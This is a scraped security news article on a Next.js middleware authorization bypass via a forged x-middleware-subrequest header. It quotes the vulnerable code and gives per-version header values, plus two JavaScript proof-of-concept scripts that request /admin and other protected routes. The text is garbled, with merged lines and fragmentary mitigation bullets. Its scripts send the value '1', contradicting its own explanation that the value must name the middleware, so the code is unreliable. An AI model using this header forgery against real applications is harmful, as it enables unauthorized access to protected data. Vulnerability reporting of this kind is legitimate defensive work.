The flaw stems from improper handling of the x-middleware-subrequest header in Next.js middleware, allowing attackers to circumvent authentication and gain unauthorized access to protected routes.
This article provides an in-depth technical analysis, demonstrates proof-of-concept exploits, and outlines mitigation strategies.
Next.js middleware uses the x-middleware-subrequest header to distinguish internal subrequests—preventing infinite middleware recursion—from external HTTP calls.
The middleware entry point reads this header as follows:
javascriptconst subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
};
continue;
}
If middlewareInfo.name appears in the header’s value list, the middleware is skipped.
Attackers can forge this header, tricking the server into treating an external request as a subrequest and bypassing authorization checks.
Common NextResponse methods like NextResponse.redirect() and cookie-based JWT checks never execute, effectively granting unrestricted access to sensitive paths.
The vulnerability manifests differently across Next.js releases:
Version 12.2 and Earlier
_middleware.ts in pages/ directorymiddlewareInfo.name equals pages/_middlewarex-middleware-subrequest: pages/_middlewareVersion 12.2 and Later
middleware.ts at rootmiddlewareInfo.name equals middlewarex-middleware-subrequest: middlewareVersion 13.2.0 and Later
MAX_RECURSION_DEPTH prevents excessive loopsx-middleware-subrequest: middleware:middleware:middlewareBy simply setting x-middleware-subrequest To include the appropriate identifier, external requests skip all middleware layers, including JWT or session cookie validations.
javascriptimport fetch from 'node-fetch';
async function exploit() {
const res = await fetch('http://localhost:3000/admin', {
headers: { 'x-middleware-subrequest': '1' }
});
const body = await res.text();
if (body.includes('Admin Panel')) {
console.log('[+] Bypass Successful!');
} else {
console.log('[-] Access Blocked.');
}
}
exploit();
This script targets /admin, sending the malicious header to evade middleware checks.
A similar red-team tool iterates through protected routes:
javascriptconst routes = ['/admin','/dashboard','/settings'];
routes.forEach(async route => {
const res = await fetch(`http://localhost:3000${route}`, {
headers: { 'x-middleware-subrequest': '1' }
});
console.log(`${route}: ${res.status}`);
});
x-middleware-subrequest values by validating against known subrequest contexts.x-middleware-subrequest.Organizations should audit custom middleware implementations immediately and deploy patches or workarounds to secure their applications against this high-risk exploit.
Find this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates
The post Critical Next.js Vulnerability Allows Attackers to Bypass Authorization appeared first on Cyber Security News.
A critical scope overreach vulnerability was recently identified in the Microsoft Entra Agent Identity Platform.…
A critical scope overreach vulnerability was recently identified in the Microsoft Entra Agent Identity Platform.…
Today's links A free, open visual identity for enshittification: No mere poop emoji! Hey look…
Will design, manufacture and sell refrigeration and laundry By Alan Wolf, YSN Swedish appliance giant…
A year after most robots failed to finish the Beijing race, nearly half the field…
Artificial intelligence is changing the publishing industry at a pace few media sectors can ignore.…
This website uses cookies.